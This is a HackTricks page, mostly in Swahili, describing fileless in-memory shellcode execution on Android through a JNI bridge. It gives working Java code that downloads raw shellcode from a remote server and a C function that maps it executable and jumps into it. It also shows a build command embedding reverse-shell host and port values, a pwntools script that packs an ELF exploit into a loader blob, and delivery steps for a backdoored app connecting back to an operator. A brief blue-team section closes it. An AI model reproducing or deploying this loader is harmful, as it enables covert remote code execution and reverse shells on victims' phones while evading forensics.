Android Utekelezaji wa Msimbo wa Native Kwenye Kumbukumbu kupitia JNI (shellcode)

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaandika mfumo wa vitendo wa kutekeleza native payloads kikamilifu kwenye kumbukumbu kutoka kwa mchakato wa app ya Android isiyoaminika kwa kutumia JNI. Mtiririko unazuia kuunda binary yoyote ya native kwenye diski: download raw shellcode bytes over HTTP(S), ipite kwa JNI bridge, allocate RX memory, na ruka ndani yake.

Kwa nini ni muhimu

  • Inapunguza artefakti za forensi (hakuna ELF kwenye diski)
  • Inafaa kwa “stage-2” native payloads zilizotengenezwa kutoka binary ya exploit ya ELF
  • Inalingana na tradecraft inayotumiwa na malware ya kisasa na red teams

Mfumo wa juu

  1. Pakua shellcode bytes katika Java/Kotlin
  2. Call a native method (JNI) with the byte array
  3. Katika JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Mfano minimal

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

Upande la C JNI (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Vidokezo na tahadhari

  • W^X/execmem: Android ya kisasa inatekeleza W^X; anonymous PROT_EXEC mappings bado kwa ujumla zinaruhusiwa kwa app processes yenye JIT (subject to SELinux policy). Vifaa/ROMs vingine vinaweka vizuizi; rudi kutumia JIT-allocated exec pools au native bridges inapohitajika.
  • Architectures: Hakikisha shellcode architecture inaendana na kifaa (arm64-v8a commonly; x86 only on emulators).
  • Entrypoint contract: Amua convention kwa entry ya shellcode yako (no args vs structure pointer). Iweka position-independent (PIC).
  • Stability: Clear instruction cache kabla ya kuruka; mismatched cache inaweza kusababisha crash kwenye ARM.

Packaging ELF → position‑independent shellcode A robust operator pipeline is to:

  • Build your exploit as a static ELF with musl-gcc
  • Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append

Build

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Geuza ELF kuwa shellcode ghafi (mfano amd64)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Kwa nini loader_append inafanya kazi: hutoa loader ndogo inayopanga segments za programu za ELF zilizowekwa ndani ya memory na kuhamisha udhibiti kwa entrypoint yake, ikikupa raw blob moja inayoweza ku-memcpy na kutekelezwa na app.

Delivery

  • Host sc on an HTTP(S) server you control
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validation workflow for kernel payloads

  • Tumia simbolized vmlinux kwa reversing ya haraka/urejeshaji wa offsets
  • Prototype primitives on a convenient debug image if available, but always re-validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Zuia anonymous PROT_EXEC katika app domains pale inapowezekana (SELinux policy)
  • Lazimishe strict code integrity (hakuna dynamic native loading kutoka network) na thibitisha update channels
  • Monitor mmap/mprotect transitions zisizo za kawaida kwenda RX na kunakili kwa wingi kwa byte-array kabla ya jumps

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks